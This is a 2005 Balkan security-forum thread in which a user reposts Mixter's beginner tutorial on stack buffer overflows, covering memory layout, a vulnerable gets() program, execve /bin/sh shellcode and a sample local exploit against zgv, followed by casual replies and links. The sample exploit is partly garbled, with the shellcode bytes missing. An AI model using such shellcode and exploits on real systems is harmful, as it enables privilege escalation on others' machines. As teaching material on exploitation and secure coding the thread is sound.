[ `and @ 29.08.2005. 12:31 ] @
Zadaci ...
[ s!c @ 29.08.2005. 14:55 ] @
Omanji tutor o Buffer Overflow-u:

Writing buffer overflow exploits - a tutorial for beginners

Security papers - members.tripod.com/mixtersecurity/papers.html

Buffer overflows in user input dependent buffers have become one of
the biggest security hazards on the internet and to modern computing in
general. This is because such an error can easily be made at programming
level, and while invisible for the user who does not understand or cannot
acquire the source code, many of those errors are easy to exploit. This
paper makes an attempt to teach the novice - average C programmer how an
overflow condition can be proven to be exploitable.



1. Memory

Note: The way I describe it here, memory for a process is organized on most
computers, however it depends on the type of processor architecture.
This example is for x86 and also roughly applies to sparc.

The principle of exploiting a buffer overflow is to overwrite parts of
memory which aren't supposed to be overwritten by arbitrary input and
making the process execute this code. To see how and where an overflow
takes place, lets take a look at how memory is organized.
A page is a part of memory that uses its own relative addressing, meaning
the kernel allocates initial memory for the process, which it can then
access without having to know where the memory is physically located in
RAM. The processes memory consists of three sections:

- code segment, data in this segment are assembler instructions that
the processor executes. The code execution is non-linear, it can skip
code, jump, and call functions on certain conditions. Therefore, we
have a pointer called EIP, or instruction pointer. The address where
EIP points to always contains the code that will be executed next.

- data segment, space for variables and dynamic buffers

- stack segment, which is used to pass data (arguments) to functions
and as a space for variables of functions. The bottom (start) of the
stack usually resides at the very end of the virtual memory of a page,
and grows down. The assembler command PUSHL will add to the top of the
stack, and POPL will remove one item from the top of the stack and put
it in a register. For accessing the stack memory directly, there is
the stack pointer ESP that points at the top (lowest memory address)
of the stack.


2. Functions

A function is a piece of code in the code segment, that is called,
performs a task, and then returns to the previous thread of execution.
Optionally, arguments can be passed to a function. In assembler, it
usually looks like this (very simple example, just to get the idea):

memory address code
0x8054321 <main+x> pushl $0x0
0x8054322 call $0x80543a0 <function>
0x8054327 ret
0x8054328 leave
0x80543a0 <function> popl %eax
0x80543a1 addl $0x1337,%eax
0x80543a4 ret

What happens here? The main function calls function(0);
The variable is 0, main pushes it onto the stack, and calls the
function. The function gets the variable from the stack using popl.
After finishing, it returns to 0x8054327. Commonly, the main function
would always push register EBP on the stack, which the function stores,
and restores after finishing. This is the frame pointer concept, that
allows the function to use own offsets for addressing, which is mostly
uninteresting while dealing with exploits, because the function will not
return to the original execution thread anyways. :-)
We just have to know what the stack looks like. At the top, we have the
internal buffers and variables of the function. After this, there is the
saved EBP register (32 bit, which is 4 bytes), and then the return address,
which is again 4 bytes. Further down, there are the arguments passed to
the function, which are uninteresting to us.
In this case, our return address is 0x8054327. It is automatically stored
on the stack when the function is called. This return address can be
overwritten, and changed to point to any point in memory, if there is an
overflow somewhere in the code.


3. Example of an exploitable program

Lets assume that we exploit a function like this:

void lame (void) { char small[30]; gets (small); printf("%s\n", small); }
main() { lame (); return 0; }

Compile and disassemble it:
# cc -ggdb blah.c -o blah
/tmp/cca017401.o: In function `lame':
/root/blah.c:1: the `gets' function is dangerous and should not be used.
# gdb blah
/* short explanation: gdb, the GNU debugger is used here to read the
binary file and disassemble it (translate bytes to assembler code) */
(gdb) disas main
Dump of assembler code for function main:
0x80484c8 <main>: pushl %ebp
0x80484c9 <main+1>: movl %esp,%ebp
0x80484cb <main+3>: call 0x80484a0 <lame>
0x80484d0 <main+8>: leave
0x80484d1 <main+9>: ret

(gdb) disas lame
Dump of assembler code for function lame:
/* saving the frame pointer onto the stack right before the ret address */
0x80484a0 <lame>: pushl %ebp
0x80484a1 <lame+1>: movl %esp,%ebp
/* enlarge the stack by 0x20 or 32. our buffer is 30 characters, but the
memory is allocated 4byte-wise (because the processor uses 32bit words)
this is the equivalent to: char small[30]; */
0x80484a3 <lame+3>: subl $0x20,%esp
/* load a pointer to small[30] (the space on the stack, which is located
at virtual address 0xffffffe0(%ebp)) on the stack, and call
the gets function: gets(small); */
0x80484a6 <lame+6>: leal 0xffffffe0(%ebp),%eax
0x80484a9 <lame+9>: pushl %eax
0x80484aa <lame+10>: call 0x80483ec <gets>
0x80484af <lame+15>: addl $0x4,%esp
/* load the address of small and the address of "%s\n" string on stack
and call the print function: printf("%s\n", small); */
0x80484b2 <lame+18>: leal 0xffffffe0(%ebp),%eax
0x80484b5 <lame+21>: pushl %eax
0x80484b6 <lame+22>: pushl $0x804852c
0x80484bb <lame+27>: call 0x80483dc <printf>
0x80484c0 <lame+32>: addl $0x8,%esp
/* get the return address, 0x80484d0, from stack and return to that address.
you don't see that explicitly here because it is done by the CPU as 'ret' */
0x80484c3 <lame+35>: leave
0x80484c4 <lame+36>: ret
End of assembler dump.

3a. Overflowing the program
# ./blah
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- user input
# ./blah
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- user input
Segmentation fault (core dumped)
# gdb blah core
(gdb) info registers
eax: 0x24 36
ecx: 0x804852f 134513967
edx: 0x1 1
ebx: 0x11a3c8 1156040
esp: 0xbffffdb8 -1073742408
ebp: 0x787878 7895160
EBP is 0x787878, this means that we have written more data on the
stack than the input buffer could handle. 0x78 is the hex representation
of 'x'. The process had a buffer of 32 bytes maximum size. We have written
more data into memory than allocated for user input and therefore overwritten
EBP and the return address with 'xxxx', and the process tried to resume
execution at address 0x787878, which caused it to get a segmentation fault.

3b. Changing the return address

Lets try to exploit the program to return to lame() instead of return.
We have to change return address 0x80484d0 to 0x80484cb, that is all.
In memory, we have: 32 bytes buffer space | 4 bytes saved EBP | 4 bytes RET
Here is a simple program to put the 4byte return address into a 1byte
character buffer:
int i=0; char buf[44];
for (i=0;i<=40;i+=4)
*(long *) &buf = 0x80484cb;
# ret

# (ret;cat)|./blah
test <- user input
test <- user input

Here we are, the program went through the function two times.
If an overflow is present, the return address of functions can be
changed to alter the programs execution thread.


4. Shellcode

To keep it simple, shellcode is simply assembler commands, which we
write on the stack and then change the retun address to return to
the stack. Using this method, we can insert code into a vulnerable
process and then execute it right on the stack.
So, lets generate insertable assembler code to run a shell. A common
system call is execve(), which loads and runs any binary, terminating
execution of the current process. The manpage gives us the usage:
int execve (const char *filename, char *const argv [], char *const envp[]);
Lets get the details of the system call from glibc2:
# gdb /lib/libc.so.6
(gdb) disas execve
Dump of assembler code for function execve:
0x5da00 <execve>: pushl %ebx

/* this is the actual syscall. before a program would call execve, it would
push the arguments in reverse order on the stack: **envp, **argv, *filename */
/* put address of **envp into edx register */
0x5da01 <execve+1>: movl 0x10(%esp,1),%edx
/* put address of **argv into ecx register */
0x5da05 <execve+5>: movl 0xc(%esp,1),%ecx
/* put address of *filename into ebx register */
0x5da09 <execve+9>: movl 0x8(%esp,1),%ebx
/* put 0xb in eax register; 0xb == execve in the internal system call table */
0x5da0d <execve+13>: movl $0xb,%eax
/* give control to kernel, to execute execve instruction */
0x5da12 <execve+18>: int $0x80

0x5da14 <execve+20>: popl %ebx
0x5da15 <execve+21>: cmpl $0xfffff001,%eax
0x5da1a <execve+26>: jae 0x5da1d <__syscall_error>
0x5da1c <execve+28>: ret
End of assembler dump.

4a. making the code portable

We have to apply a trick to be able to make shellcode without having
to reference the arguments in memory the conventional way, by giving
their exact address on the memory page, which can only be done at
compile time.
Once we can estimate the size of the shellcode, we can use the
instructions jmp <bytes> and call <bytes> to go a specified number of
bytes back or forth in the execution thread. Why use a call? We have
the opportunity that a CALL will automatically store the return address
on the stack, the return address being the next 4 bytes after the
CALL instruction. By placing a variable right behind the call, we
indirectly push its address on the stack without having to know it.

0 jmp <Z> (skip Z bytes forward)
2 popl %esi
... put function(s) here ...
Z call <-Z+2> (skip 2 less than Z bytes backward, to POPL)
Z+5 .string (first variable)

(Note: If you're going to write code more complex than for spawning a
simple shell, you can put more than one .string behind the code. You know
the size of those strings and can therefore calculate their relative
locations once you know where the first string is located.)

4b. the shellcode

global code_start /* we'll need this later, dont mind it */
global code_end
jmp 0x17
popl %esi
movl %esi,0x8(%esi) /* put address of **argv behind shellcode,
0x8 bytes behind it so a /bin/sh has place */
xorl %eax,%eax /* put 0 in %eax */
movb %eax,0x7(%esi) /* put terminating 0 after /bin/sh string */
movl %eax,0xc(%esi) /* another 0 to get the size of a long word */
movb $0xb,%al /* execve( */
movl %esi,%ebx /* "/bin/sh", */
leal 0x8(%esi),%ecx /* & of "/bin/sh", */
xorl %edx,%edx /* NULL */
int $0x80 /* ); */
call -0x1c
.string "/bin/shX" /* X is overwritten by movb %eax,0x7(%esi) */

(The relative offsets 0x17 and -0x1c can be gained by putting in 0x0,
compiling, disassembling and then looking at the shell codes size.)

This is already working shellcode, though very minimal. You should at
least disassemble the exit() syscall and attach it (before the 'call').
The real art of making shellcode also consists of avoiding any binary
zeroes in the code (indicates end of input/buffer very often) and modify
it for example, so the binary code does not contain control or lower
characters, which would get filtered out by some vulnerable programs.
Most of this stuff is done by self-modifying code, like we had in the
movb %eax,0x7(%esi) instruction. We replaced the X with \0, but without
having a \0 in the shellcode initially...

Lets test this code... save the above code as code.S (remove comments)
and the following file as code.c:
extern void code_start();
extern void code_end();
#include <stdio.h>
main() { ((void (*)(void)) code_start)(); }

# cc -o code code.S code.c
# ./code

You can now convert the shellcode to a hex char buffer.
Best way to do this is, print it out:
#include <stdio.h>
extern void code_start(); extern void code_end();
main() { fprintf(stderr,"%s",code_start); }

and parse it through aconv -h or bin2c.pl, those tools can be found at:
http://www.dec.net/~dhg or http://members.tripod.com/mixtersecurity


5. Writing an exploit

Let us take a look at how to change the return address to point
to shellcode put on the stack, and write a sample exploit.
We will take zgv, because that is one of the easiest things
to exploit out there :)

# export HOME=`perl -e 'printf "a" x 2000'`
# zgv
Segmentation fault (core dumped)
# gdb /usr/bin/zgv core
#0 0x61616161 in ?? ()
(gdb) info register esp
esp: 0xbffff574 -1073744524

Well, this is the top of the stack at crash time. It is safe to
presume that we can use this as return address to our shellcode.

We will now add some NOP (no operation) instructions before our buffer,
so we don't have to be 100% correct regarding the prediction of the
exact start of our shellcode in memory (or even brute forcing it).
The function will return onto the stack somewhere before our shellcode,
work its way through the NOPs to the inital JMP command, jump to the
CALL, jump back to the popl, and run our code on the stack.

Remember, the stack looks like this: at the lowest memory address, the
top of the stack where ESP points to, the initial variables are stored,
namely the buffer in zgv that stores the HOME environment variable.
After that, we have the saved EBP(4bytes) and the return address of the
previous function. We must write 8 bytes or more behind the buffer to
overwrite the return address with our new address on the stack.

The buffer in zgv is 1024 bytes big. You can find that out by glancing
at the code, or by searching for the initial subl $0x400,%esp (=1024)
in the vulnerable function. We will now put all those parts together
in the exploit:

5a. Sample zgv exploit

/* zgv v3.0 exploit by Mixter
buffer overflow tutorial - http://1337.tsx.org

sample exploit, works for example with precompiled
redhat 5.x/suse 5.x/redhat 6.x/slackware 3.x linux binaries */

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

/* This is the minimal shellcode from the tutorial */
static char shellcode[]=

#define NOP 0x90
#define LEN 1032
#define RET 0xbffff574

int main()
char buffer[LEN];
long retaddr = RET;
int i;

fprintf(stderr,"using address 0x%lx\n",retaddr);

/* this fills the whole buffer with the return address, see 3b) */
for (i=0;i<LEN;i+=4)
*(long *)&buffer = retaddr;

/* this fills the initial buffer with NOP's, 100 chars less than the
buffer size, so the shellcode and return address fits in comfortably */
for (i=0;i<(LEN-strlen(shellcode)-100);i++)
*(buffer+i) = NOP;

/* after the end of the NOPs, we copy in the execve() shellcode */

/* export the variable, run zgv */

setenv("HOME", buffer, 1);
return 0;

/* EOF */

We now have a string looking like this:


While zgv's stack looks like this:

v-- 0xbffff574 is here

The execution thread of zgv is now as follows:

main ... -> function() -> strcpy(smallbuffer,getenv("HOME"));
At this point, zgv fails to do bounds checking, writes beyond smallbuffer,
and the return address to main is overwritten with the return address on
the stack. function() does leave/ret and the EIP points onto the stack:
0xbffff574 nop
0xbffff575 nop
0xbffff576 nop
0xbffff577 jmp $0x24 1
0xbffff579 popl %esi 3 <--\ |
[... shellcode starts here ...] | |
0xbffff59b call -$0x1c 2 <--/
0xbffff59e .string "/bin/shX"

Lets test the exploit...
# cc -o zgx zgx.c
# ./zgx
using address 0xbffff574

5b. further tips on writing exploits

There are a lot of programs which are tough to exploit, but
nonetheless vulnerable. However, there are a lot of tricks you can
do to get behind filtering and such. There are also other overflow
techniques which do not necessarily include changing the return address
at all or only the return address. There are so-called pointer overflows,
where a pointer that a function allocates can be overwritten by an
overflow, altering the programs execution flow (an example is the RoTShB
bind 4.9 exploit), and exploits where the return address points to the
shells environment pointer, where the shellcode is located instead of
being on the stack (this defeats very small buffers, and Non-executable
stack patches, and can fool some security programs, though it can only
be performed locally).
Another important subject for the skilled shellcode author is radically
self-modifying code, which initially only consists of printable, non-white
upper case characters, and then modifies itself to put functional
shellcode on the stack which it executes, etc.
You should never, ever have any binary zeroes in your shell code, because
it will most possibly not work if it contains any. But discussing how to
sublimate certain assembler commands with others would go beyond the scope
of this paper. I also suggest reading the other great overflow howto's out
there, written by aleph1, Taeoh Oh and mudge.

5c. important note

You will NOT be able to use this tutorial on Windows or Macintosh. Do
NOT ask me for cc.exe and gdb.exe either! =oP


6. Conclusions

We have learned, that once an overflow is present which is user dependent,
it can be exploited about 90% of the time, even though exploiting some
situations is difficult and takes some skill.
Why is it important to write exploits? Because ignorance is omniscient in
the software industry. There have already been reports of vulnerabilities
due to buffer overflows in software, though the software has not been
updated, or the majority of users didn't update, because the vulnerability
was hard to exploit and nobody believed it created a security risk. Then,
an exploit actually comes out, proves and practically enables a program to
be exploitable, and there is usually a big (neccessary) hurry to update it.

As for the programmer (you), it is a hard task to write secure programs,
but it should be taken very serious. This is a specially large concern
when writing servers, any type of security programs, or programs that
are suid root, or designed to be run by root, any special accounts, or the
system itself. Apply bounds checking (strn*, sn*, functions instead of
sprintf etc.), prefer allocating buffers of a dynamic, input-dependent,
size, be careful on for/while/etc. loops that gather data and stuff it
into a buffer, and generally handle user input with very much care are
the main principles I suggest.

There has also been made notable effort of the security industry to
prevent overflow problems with techniques like non-executable stack,
suid wrappers, guard programs that check return addresses, bounds checking
compilers, and so on. You should make use of those techniques where
possible, but do not fully rely on them. Do not assume to be safe at all
if you run a vanilla two-year old UNIX distribution without updates, but
overflow protection or (even more stupid) firewalling/IDS. It cannot
assure security, if you continue to use insecure programs because _all_
security programs are _software_ and can contain vulnerabilities themselves,
or at least not be perfect. If you apply frequent updates _and_ security
measures, you can still not expect to be secure, _but_ you can hope. :-)

Mixter <mixter@newyorkoffice.com>

Mozhda vam pomogne u rjeshavanju zadataka =))
[ `and @ 29.08.2005. 18:45 ] @
A si ti video ovu top temu : http://www.elitesecurity.org/t...fferOverflow-and-full-and-lame

I ovaj link : http://www.geocities.com/im_happy_icefor/Staff/w32sbofflfba.pdf
[ s!c @ 29.08.2005. 20:59 ] @
One-stop-shop =))
Mislio sam sve odmah ukljuchiti u jednu poruku (mozhda sam trebao i staviti tutor u neku arhivu - ovako previshe mjesta zauzima!?), a ako ti imash na sajtu neshto shto bi se ovdje lijepo uklopilo, daj odmah link ili stavi fajl na ES.

Iako, sve je ovo u svrhu popularizacije SeCod-a™ pa me nemoj krivo shvatiti - pun sam entuzijaizma u vezi secoda pa i ne razmisljham previshe (bash chitam Phrack iz '87 =))) pri postanju ovakvish stvari, a mislim da su ljudi toju stvar vech prochitali.

U, jebate, kako ovo zvuchi - kada bih ti samo mogao objasniti sve in person lakse bi shvatio. Ovako, ostaje na tebi da se smijesh ovome postu i da ga pokushash deshifrirati (btw, malo off-a: kako vi funckionirate kada spavate 3-4h na dan?).
[ unknown-3 @ 29.08.2005. 22:05 ] @
ok,josh nisam poceo da citam jer nemam vremena.Recite mi tacno koje znanje treba da se zna za onaj tutorial.
[ `and @ 30.08.2005. 02:57 ] @
Za koji tut ? Ako je za moj sve pise u njemu ...
[ unknown-3 @ 30.08.2005. 11:57 ] @
ovaj gore:)jer ne znam ni sta je to bufer ili overflov.znaci jako sam malo upucen u to

[Ovu poruku je menjao unknown-3 dana 30.08.2005. u 12:57 GMT+1]
[ `and @ 30.08.2005. 12:10 ] @
Procitajte tut sa ovog linka i sve ce vam biti jasno : http://www.geocities.com/im_happy_icefor/Staff/w32sbofflfba.pdf napisan je za pocetnike i sve je lepo objasnjeno ( zato ga je valjda Leon i stavio u top :)

jbt ...
[ unknown-3 @ 30.08.2005. 13:10 ] @
JA JAKO MALO ZNAM o bufer overwlovu skoro nista mozda cak i nista samo znam da ima neke veze sa memorijom.a link ti neradi

[Ovu poruku je menjao unknown-3 dana 30.08.2005. u 14:11 GMT+1]
[ BIG FOOT @ 30.08.2005. 14:44 ] @

koje znanje treba da se zna za onaj tutorial.

Citanje, koriscenje Windows-a,Notepad-a ...

Inace pretpostavljam da ces jos po koji put promeniti
username i postavljati jos glupih pitanja... a onda za godinu dana doci uzeti
XAKEPCKO ime i pisati tutore: "Kako iskoristiti milenijumsku bubu"

Svaka slicnost je slucajna.
[ unknown3 @ 30.08.2005. 16:28 ] @
znaci ok,imam ovaj nick mi je pre.necu vise registrovati nickove.ali da najavim da necu vise postavljati gloopa pitanja.kao sto sam i reko....koliko vidim ti mene ovde pljujes BRE
[ `and @ 30.08.2005. 21:35 ] @
http://www.geocities.com/im_happy_icefor/Staff/w32sbofflfba.pdf RADI !

Mozda ne radi jel ides direktno sa linka ... idi na http://www.geocities.com/im_happy_icefor/ pa vidi sta ima tamo :)

[Ovu poruku je menjao `and dana 30.08.2005. u 22:36 GMT+1]
[ unknown-3 @ 31.08.2005. 10:45 ] @
aha.citam ali nemam predznanje u C++.tek cu krenuti na kurs josh malo.Znaci razumem ja malo ali vidis da je nemoguce bez imalog znanja C++.a ja to nemam za sada.Tutorial ti je super
[ Jimi Hex @ 03.09.2005. 23:21 ] @
eh, da si me poslusao i tih par hiljada sto si dao za kurs lepo potrosio u knjizari Mikro Knjige, Bog bi te video
a ovako...

tvoja stvar
[ X3L4 @ 06.09.2005. 11:53 ] @
BIG FOOT: Citanje, koriscenje Windows-a,Notepad-a ...

Inace pretpostavljam da ces jos po koji put promeniti
username i postavljati jos glupih pitanja... a onda za godinu dana doci uzeti
XAKEPCKO ime i pisati tutore: "Kako iskoristiti milenijumsku bubu"

Svaka slicnost je slucajna.

Svaka Cast Za Odgovor ...
[ `and @ 06.09.2005. 13:24 ] @
E ajde nemojte vise davati glupe odgovore vec uzmite i resite neki zadatak odavde, NE MOGU da verujem da niko nije resio ni prvi primer ! Ajde resavajte i postavljajte resenja, pitajte sta vam nije jasno ... mozete ovde a mozete i na e-mail !
[ unknown-3 @ 06.09.2005. 21:43 ] @
ma brate mene bas bole sta vi svi mislite.pogotovo te rete sto pljuju:>